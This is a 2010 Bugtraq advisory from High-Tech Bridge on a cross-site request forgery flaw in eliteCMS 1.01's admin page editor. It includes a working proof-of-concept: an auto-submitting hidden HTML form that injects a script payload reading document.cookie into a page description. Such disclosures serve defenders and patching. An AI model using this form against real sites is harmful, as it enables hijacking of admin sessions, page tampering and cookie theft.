bugtraq - XSRF (CSRF) in eliteCMS

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Date: Tue, 4 May 2010 14:41:44 +0200 (CEST)
From: advisory@...ridge.ch
To: bugtraq@...urityfocus.com
Subject: XSRF (CSRF) in eliteCMS

Vulnerability ID: HTB22355
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_elitecms.html
Product: eliteCMS
Vendor: Elite Graphix
Vulnerable Version: 1.01 and Probably Prior Versions
Vendor Notification: 19 April 2010 
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Low 
Credit: High-Tech Bridge SA (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "/admin/edit_page.php" script to properly verify the source of HTTP request. 

Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. 

Attacker can use browser to exploit this vulnerability. The following PoC is available:



<form action='http://www.example.com/admin/edit_page.php?page=1' name="frm" method='post'  >
<input name="title" type="hidden" value="Home"/>
<input name="keywords" type="hidden" value="eliteCMS, Elite CMS" />
<input name="description" type="hidden" value='"><script>alert(document.cookie)</script>' />
<input name="menu_name" type="hidden" value="Home"/>
<input name="position" type="hidden" value="1"/>
<input name="active" type="hidden" value="1" />
<input name="home_page" type="hidden" value="1" />
<input name="sidebar" type="hidden" value="1" />
<input name="sidebar_align" type="hidden" value="left" />
<input name="contact_form" type="hidden" value="0" />
<input type="submit" name="submit" value="Update Page" />
</form>
<script>
document.frm.submit();
</script>